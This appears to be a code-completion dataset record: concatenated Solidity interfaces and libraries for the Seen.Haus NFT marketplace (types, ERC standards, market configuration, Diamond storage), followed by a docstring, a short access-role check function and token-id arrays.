Closed,
Canceled
}
enum State {
Pending,
Running,
Ended
}
enum Ticketer {
Default,
Lots,
Items
}
struct Token {
address payable creator;
uint16 royaltyPercentage;
bool isPhysical;
uint256 id;
uint256 supply;
string uri;
}
struct Consignment {
Market market;
MarketHandler marketHandler;
address payable seller;
address tokenAddress;
uint256 tokenId;
uint256 supply;
uint256 id;
bool multiToken;
bool released;
uint256 releasedSupply;
uint16 customFeePercentageBasisPoints;
uint256 pendingPayout;
}
struct Auction {
address payable buyer;
uint256 consignmentId;
uint256 start;
uint256 duration;
uint256 reserve;
uint256 bid;
Clock clock;
State state;
Outcome outcome;
}
struct Sale {
uint256 consignmentId;
uint256 start;
uint256 price;
uint256 perTxCap;
State state;
Outcome outcome;
}
struct EscrowTicket {
uint256 amount;
uint256 consignmentId;
uint256 id;
string itemURI;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol";
/**
* @title IERC2981 interface
*
* @notice NFT Royalty Standard.
*
* See https://eips.ethereum.org/EIPS/eip-2981
*/
interface IERC2981 is IERC165Upgradeable {
/**
* @notice Determine how much royalty is owed (if any) and to whom.
* @param _tokenId - the NFT asset queried for royalty information
* @param _salePrice - the sale price of the NFT asset specified by _tokenId
* @return receiver - address of who should be sent the royalty payment
* @return royaltyAmount - the royalty payment amount for _salePrice
*/
function royaltyInfo(uint256 _tokenId, uint256 _salePrice)
external
view
returns (
address receiver,
uint256 royaltyAmount
);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../domain/SeenTypes.sol";
/**
* @title IMarketHandler
*
* @notice Provides no functions, only common events to market handler facets.
*
* No ERC-165 identifier for this interface, not checked or supported.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketHandler {
// Events
event RoyaltyDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount);
event EscrowAgentFeeDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount);
event FeeDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount);
event PayoutDisbursed(uint256 indexed consignmentId, address indexed recipient, uint256 amount);
event AudienceChanged(uint256 indexed consignmentId, SeenTypes.Audience indexed audience);
event EthCredited(address indexed recipient, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "./IMarketConfig.sol";
import "./IMarketConfigAdditional.sol";
import "./IMarketClerk.sol";
/**
* @title IMarketController
*
* @notice Manages configuration and consignments used by the Seen.Haus contract suite.
*
* The ERC-165 identifier for this interface is: 0xbb8dba77
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketController is IMarketClerk, IMarketConfig, IMarketConfigAdditional {}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
/**
* @title SeenConstants
*
* @notice Constants used by the Seen.Haus contract ecosystem.
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
contract SeenConstants {
// Endpoint will serve dynamic metadata composed of ticket and ticketed item's info
string internal constant ESCROW_TICKET_URI = "https://api.seen.haus/ticket/metadata/";
// Access Control Roles
bytes32 internal constant ADMIN = keccak256("ADMIN"); // Deployer and any other admins as needed
bytes32 internal constant SELLER = keccak256("SELLER"); // Approved sellers amd Seen.Haus reps
bytes32 internal constant MINTER = keccak256("MINTER"); // Approved artists and Seen.Haus reps
bytes32 internal constant ESCROW_AGENT = keccak256("ESCROW_AGENT"); // Seen.Haus Physical Item Escrow Agent
bytes32 internal constant MARKET_HANDLER = keccak256("MARKET_HANDLER"); // Market Handler contracts
bytes32 internal constant UPGRADER = keccak256("UPGRADER"); // Performs contract upgrades
bytes32 internal constant MULTISIG = keccak256("MULTISIG"); // Admin role of MARKET_HANDLER & UPGRADER
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../interfaces/IMarketController.sol";
import "../../domain/SeenTypes.sol";
import "../diamond/DiamondLib.sol";
/**
* @title MarketHandlerLib
*
* @dev Provides access to the the MarketHandler Storage and Intitializer slots for MarketHandler facets
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
library MarketHandlerLib {
bytes32 constant MARKET_HANDLER_STORAGE_POSITION = keccak256("seen.haus.market.handler.storage");
bytes32 constant MARKET_HANDLER_INITIALIZERS_POSITION = keccak256("seen.haus.market.handler.initializers");
struct MarketHandlerStorage {
// map a consignment id to an audience
mapping(uint256 => SeenTypes.Audience) audiences;
//s map a consignment id to a sale
mapping(uint256 => SeenTypes.Sale) sales;
// @dev map a consignment id to an auction
mapping(uint256 => SeenTypes.Auction) auctions;
// map an address to ETH credit available to withdraw
mapping(address => uint256) addressToEthCredit;
}
struct MarketHandlerInitializers {
// AuctionBuilderFacet initialization state
bool auctionBuilderFacet;
// AuctionRunnerFacet initialization state
bool auctionRunnerFacet;
// AuctionEnderFacet initialization state
bool auctionEnderFacet;
// SaleBuilderFacet initialization state
bool saleBuilderFacet;
// SaleRunnerFacet initialization state
bool saleRunnerFacet;
// SaleRunnerFacet initialization state
bool saleEnderFacet;
// EthCreditFacet initialization state
bool ethCreditRecoveryFacet;
}
function marketHandlerStorage() internal pure returns (MarketHandlerStorage storage mhs) {
bytes32 position = MARKET_HANDLER_STORAGE_POSITION;
assembly {
mhs.slot := position
}
}
function marketHandlerInitializers() internal pure returns (MarketHandlerInitializers storage mhi) {
bytes32 position = MARKET_HANDLER_INITIALIZERS_POSITION;
assembly {
mhi.slot := position
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../domain/SeenTypes.sol";
/**
* @title IMarketController
*
* @notice Manages configuration and consignments used by the Seen.Haus contract suite.
* @dev Contributes its events and functions to the IMarketController interface
*
* The ERC-165 identifier for this interface is: 0x57f9f26d
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketConfig {
/// Events
event NFTAddressChanged(address indexed nft);
event EscrowTicketerAddressChanged(address indexed escrowTicketer, SeenTypes.Ticketer indexed ticketerType);
event StakingAddressChanged(address indexed staking);
event MultisigAddressChanged(address indexed multisig);
event VipStakerAmountChanged(uint256 indexed vipStakerAmount);
event PrimaryFeePercentageChanged(uint16 indexed feePercentage);
event SecondaryFeePercentageChanged(uint16 indexed feePercentage);
event MaxRoyaltyPercentageChanged(uint16 indexed maxRoyaltyPercentage);
event OutBidPercentageChanged(uint16 indexed outBidPercentage);
event DefaultTicketerTypeChanged(SeenTypes.Ticketer indexed ticketerType);
/**
* @notice Sets the address of the xSEEN ERC-20 staking contract.
*
* Emits a NFTAddressChanged event.
*
* @param _nft - the address of the nft contract
*/
function setNft(address _nft) external;
/**
* @notice The nft getter
*/
function getNft() external view returns (address);
/**
* @notice Sets the address of the Seen.Haus lots-based escrow ticketer contract.
*
* Emits a EscrowTicketerAddressChanged event.
*
* @param _lotsTicketer - the address of the items-based escrow ticketer contract
*/
function setLotsTicketer(address _lotsTicketer) external;
/**
* @notice The lots-based escrow ticketer getter
*/
function getLotsTicketer() external view returns (address);
/**
* @notice Sets the address of the Seen.Haus items-based escrow ticketer contract.
*
* Emits a EscrowTicketerAddressChanged event.
*
* @param _itemsTicketer - the address of the items-based escrow ticketer contract
*/
function setItemsTicketer(address _itemsTicketer) external;
/**
* @notice The items-based escrow ticketer getter
*/
function getItemsTicketer() external view returns (address);
/**
* @notice Sets the address of the xSEEN ERC-20 staking contract.
*
* Emits a StakingAddressChanged event.
*
* @param _staking - the address of the staking contract
*/
function setStaking(address payable _staking) external;
/**
* @notice The staking getter
*/
function getStaking() external view returns (address payable);
/**
* @notice Sets the address of the Seen.Haus multi-sig wallet.
*
* Emits a MultisigAddressChanged event.
*
* @param _multisig - the address of the multi-sig wallet
*/
function setMultisig(address payable _multisig) external;
/**
* @notice The multisig getter
*/
function getMultisig() external view returns (address payable);
/**
* @notice Sets the VIP staker amount.
*
* Emits a VipStakerAmountChanged event.
*
* @param _vipStakerAmount - the minimum amount of xSEEN ERC-20 a caller must hold to participate in VIP events
*/
function setVipStakerAmount(uint256 _vipStakerAmount) external;
/**
* @notice The vipStakerAmount getter
*/
function getVipStakerAmount() external view returns (uint256);
/**
* @notice Sets the marketplace fee percentage.
* Emits a PrimaryFeePercentageChanged event.
*
* @param _primaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus primary sale or auction
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setPrimaryFeePercentage(uint16 _primaryFeePercentage) external;
/**
* @notice Sets the marketplace fee percentage.
* Emits a SecondaryFeePercentageChanged event.
*
* @param _secondaryFeePercentage - the percentage that will be taken as a fee from the net of a Seen.Haus secondary sale or auction (after royalties)
*
* N.B. Represent percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setSecondaryFeePercentage(uint16 _secondaryFeePercentage) external;
/**
* @notice The primaryFeePercentage and secondaryFeePercentage getter
*/
function getFeePercentage(SeenTypes.Market _market) external view returns (uint16);
/**
* @notice Sets the external marketplace maximum royalty percentage.
*
* Emits a MaxRoyaltyPercentageChanged event.
*
* @param _maxRoyaltyPercentage - the maximum percentage of a Seen.Haus sale or auction that will be paid as a royalty
*/
function setMaxRoyaltyPercentage(uint16 _maxRoyaltyPercentage) external;
/**
* @notice The maxRoyaltyPercentage getter
*/
function getMaxRoyaltyPercentage() external view returns (uint16);
/**
* @notice Sets the marketplace auction outbid percentage.
*
* Emits a OutBidPercentageChanged event.
*
* @param _outBidPercentage - the minimum percentage a Seen.Haus auction bid must be above the previous bid to prevail
*/
function setOutBidPercentage(uint16 _outBidPercentage) external;
/**
* @notice The outBidPercentage getter
*/
function getOutBidPercentage() external view returns (uint16);
/**
* @notice Sets the default escrow ticketer type.
*
* Emits a DefaultTicketerTypeChanged event.
*
* Reverts if _ticketerType is Ticketer.Default
* Reverts if _ticketerType is already the defaultTicketerType
*
* @param _ticketerType - the new default escrow ticketer type.
*/
function setDefaultTicketerType(SeenTypes.Ticketer _ticketerType) external;
/**
* @notice The defaultTicketerType getter
*/
function getDefaultTicketerType() external view returns (SeenTypes.Ticketer);
/**
* @notice Get the Escrow Ticketer to be used for a given consignment
*
* If a specific ticketer has not been set for the consignment,
* the default escrow ticketer will be returned.
*
* @param _consignmentId - the id of the consignment
* @return ticketer = the address of the escrow ticketer to use
*/
function getEscrowTicketer(uint256 _consignmentId) external view returns (address ticketer);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "../domain/SeenTypes.sol";
/**
* @title IMarketController
*
* @notice Manages configuration and consignments used by the Seen.Haus contract suite.
* @dev Contributes its events and functions to the IMarketController interface
*
* The ERC-165 identifier for this interface is: 0x57f9f26d
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketConfigAdditional {
/// Events
event AllowExternalTokensOnSecondaryChanged(bool indexed status);
event EscrowAgentFeeChanged(address indexed escrowAgent, uint16 fee);
/**
* @notice Sets whether or not external tokens can be listed on secondary market
*
* Emits an AllowExternalTokensOnSecondaryChanged event.
*
* @param _status - boolean of whether or not external tokens are allowed
*/
function setAllowExternalTokensOnSecondary(bool _status) external;
/**
* @notice The allowExternalTokensOnSecondary getter
*/
function getAllowExternalTokensOnSecondary() external view returns (bool status);
/**
* @notice The escrow agent fee getter
*/
function getEscrowAgentFeeBasisPoints(address _escrowAgentAddress) external view returns (uint16);
/**
* @notice The escrow agent fee setter
*/
function setEscrowAgentFeeBasisPoints(address _escrowAgentAddress, uint16 _basisPoints) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";
import "../domain/SeenTypes.sol";
/**
* @title IMarketClerk
*
* @notice Manages consignments for the Seen.Haus contract suite.
*
* The ERC-165 identifier for this interface is: 0xec74481a
*
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
interface IMarketClerk is IERC1155ReceiverUpgradeable, IERC721ReceiverUpgradeable {
/// Events
event ConsignmentTicketerChanged(uint256 indexed consignmentId, SeenTypes.Ticketer indexed ticketerType);
event ConsignmentFeeChanged(uint256 indexed consignmentId, uint16 customConsignmentFee);
event ConsignmentPendingPayoutSet(uint256 indexed consignmentId, uint256 amount);
event ConsignmentRegistered(address indexed consignor, address indexed seller, SeenTypes.Consignment consignment);
event ConsignmentMarketed(address indexed consignor, address indexed seller, uint256 indexed consignmentId);
event ConsignmentReleased(uint256 indexed consignmentId, uint256 amount, address releasedTo);
/**
* @notice The nextConsignment getter
*/
function getNextConsignment() external view returns (uint256);
/**
* @notice The consignment getter
*/
function getConsignment(uint256 _consignmentId) external view returns (SeenTypes.Consignment memory);
/**
* @notice Get the remaining supply of the given consignment.
*
* @param _consignmentId - the id of the consignment
* @return uint256 - the remaining supply held by the MarketController
*/
function getUnreleasedSupply(uint256 _consignmentId) external view returns(uint256);
/**
* @notice Get the consignor of the given consignment
*
* @param _consignmentId - the id of the consignment
* @return address - consigner's address
*/
function getConsignor(uint256 _consignmentId) external view returns(address);
/**
* @notice Registers a new consignment for sale or auction.
*
* Emits a ConsignmentRegistered event.
*
* @param _market - the market for the consignment. See {SeenTypes.Market}
* @param _consignor - the address executing the consignment transaction
* @param _seller - the seller of the consignment
* @param _tokenAddress - the contract address issuing the NFT behind the consignment
* @param _tokenId - the id of the token being consigned
* @param _supply - the amount of the token being consigned
*
* @return Consignment - the registered consignment
*/
function registerConsignment(
SeenTypes.Market _market,
address _consignor,
address payable _seller,
address _tokenAddress,
uint256 _tokenId,
uint256 _supply
)
external
returns(SeenTypes.Consignment memory);
/**
* @notice Update consignment to indicate it has been marketed
*
* Emits a ConsignmentMarketed event.
*
* Reverts if consignment has already been marketed.
* A consignment is considered as marketed if it has a marketHandler other than Unhandled. See: {SeenTypes.MarketHandler}
*
* @param _consignmentId - the id of the consignment
*/
function marketConsignment(uint256 _consignmentId, SeenTypes.MarketHandler _marketHandler) external;
/**
* @notice Release the consigned item to a given address
*
* Emits a ConsignmentReleased event.
*
* Reverts if caller is does not have MARKET_HANDLER role.
*
* @param _consignmentId - the id of the consignment
* @param _amount - the amount of the consigned supply to release
* @param _releaseTo - the address to transfer the consigned token balance to
*/
function releaseConsignment(uint256 _consignmentId, uint256 _amount, address _releaseTo) external;
/**
* @notice Clears the pending payout value of a consignment
*
* Emits a ConsignmentPayoutSet event.
*
* Reverts if:
* - caller is does not have MARKET_HANDLER role.
* - consignment doesn't exist
*
* @param _consignmentId - the id of the consignment
* @param _amount - the amount of that the consignment's pendingPayout must be set to
*/
function setConsignmentPendingPayout(uint256 _consignmentId, uint256 _amount) external;
/**
* @notice Set the type of Escrow Ticketer to be used for a consignment
*
* Default escrow ticketer is Ticketer.Lots. This only needs to be called
* if overriding to Ticketer.Items for a given consignment.
*
* Emits a ConsignmentTicketerSet event.
* Reverts if consignment is not registered.
*
* @param _consignmentId - the id of the consignment
* @param _ticketerType - the type of ticketer to use. See: {SeenTypes.Ticketer}
*/
function setConsignmentTicketer(uint256 _consignmentId, SeenTypes.Ticketer _ticketerType) external;
/**
* @notice Set a custom fee percentage on a consignment (e.g. for "official" SEEN x Artist drops)
*
* Default escrow ticketer is Ticketer.Lots. This only needs to be called
* if overriding to Ticketer.Items for a given consignment.
*
* Emits a ConsignmentFeeChanged event.
*
* Reverts if consignment doesn't exist *
*
* @param _consignmentId - the id of the consignment
* @param _customFeePercentageBasisPoints - the custom fee percentage basis points to use
*
* N.B. _customFeePercentageBasisPoints percentage value as an unsigned int by multiplying the percentage by 100:
* e.g, 1.75% = 175, 100% = 10000
*/
function setConsignmentCustomFee(uint256 _consignmentId, uint16 _customFeePercentageBasisPoints) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165Upgradeable.sol";
/**
* @dev _Available since v3.1._
*/
interface IERC1155ReceiverUpgradeable is IERC165Upgradeable {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import { IAccessControlUpgradeable } from "@openzeppelin/contracts-upgradeable/access/IAccessControlUpgradeable.sol";
import { IDiamondCut } from "../../interfaces/IDiamondCut.sol";
/**
* @title DiamondLib
*
* @notice Diamond storage slot and supported interfaces
*
* @notice Based on Nick Mudge's gas-optimized diamond-2 reference,
* with modifications to support role-based access and management of
* supported interfaces.
*
* Reference Implementation : https://github.com/mudgen/diamond-2-hardhat
* EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535
*
* N.B. Facet management functions from original `DiamondLib` were refactor/extracted
* to JewelerLib, since business facets also use this library for access control and
* managing supported interfaces.
*
* @author Nick Mudge <[email protected]> (https://twitter.com/mudgen)
* @author Cliff Hall <[email protected]> (https://twitter.com/seaofarrows)
*/
library DiamondLib {
bytes32 constant DIAMOND_STORAGE_POSITION = keccak256("diamond.standard.diamond.storage");
struct DiamondStorage {
// maps function selectors to the facets that execute the functions.
// and maps the selectors to their position in the selectorSlots array.
// func selector => address facet, selector position
mapping(bytes4 => bytes32) facets;
// array of slots of function selectors.
// each slot holds 8 function selectors.
mapping(uint256 => bytes32) selectorSlots;
// The number of function selectors in selectorSlots
uint16 selectorCount;
// Used to query if a contract implements an interface.
// Used to implement ERC-165.
mapping(bytes4 => bool) supportedInterfaces;
// The Seen.Haus AccessController
IAccessControlUpgradeable accessController;
}
/**
* @notice Get the Diamond storage slot
*
* @return ds - Diamond storage slot cast to DiamondStorage
*/
function diamondStorage() internal pure returns (DiamondStorage storage ds) {
bytes32 position = DIAMOND_STORAGE_POSITION;
assembly {
ds.slot := position
}
}
/**
* @notice Add a supported interface to the Diamond
*
* @param _interfaceId - the interface to add
*/
function addSupportedInterface(bytes4 _interfaceId) internal {
// Get the DiamondStorage struct
DiamondStorage storage ds = diamondStorage();
// Flag the interfaces as supported
ds.supportedInterfaces[_interfaceId] = true;
}
/**
* @notice Implementation of ERC-165 interface detection standard.
*
* @param _interfaceId - the sighash of the given interface
*/
function supportsInterface(bytes4 _interfaceId) internal view returns (bool) {
// Get the DiamondStorage struct
DiamondStorage storage ds = diamondStorage();
// Return the value
return ds.supportedInterfaces[_interfaceId] || false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title IDiamondCut
*
* @notice Diamond Facet management
*
* Reference Implementation : https://github.com/mudgen/diamond-2-hardhat
* EIP-2535 Diamond Standard : https://eips.ethereum.org/EIPS/eip-2535
*
* The ERC-165 identifier for this interface is: 0x1f931c1c
*
* @author Nick Mudge <[email protected]> (https://twitter.com/mudgen)
*/
interface IDiamondCut {
event DiamondCut(FacetCut[] _diamondCut, address _init, bytes _calldata);
enum FacetCutAction {Add, Replace, Remove}
struct FacetCut {
address facetAddress;
FacetCutAction action;
bytes4[] functionSelectors;
}
/**
* @notice Add/replace/remove any number of functions and
* optionally execute a function with delegatecall
*
* _calldata is executed with delegatecall on _init
*
* @param _diamondCut Contains the facet addresses and function selectors
* @param _init The address of the contract or facet to execute _calldata
* @param _calldata A function call, including function selector and arguments
*/
function diamondCut(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata
) external;
} | * @dev Function that checks that the caller has a specific role. Reverts if caller doesn't have role. See: {AccessController.hasRole}/ | function checkHasRole(address _address, bytes32 _role) internal view returns (bool) {
DiamondLib.DiamondStorage storage ds = DiamondLib.diamondStorage();
return ds.accessController.hasRole(_role, _address);
}
| 14,395,932 | [
1,
2083,
716,
4271,
716,
326,
4894,
711,
279,
2923,
2478,
18,
868,
31537,
309,
4894,
3302,
1404,
1240,
2478,
18,
2164,
30,
288,
1862,
2933,
18,
5332,
2996,
4004,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
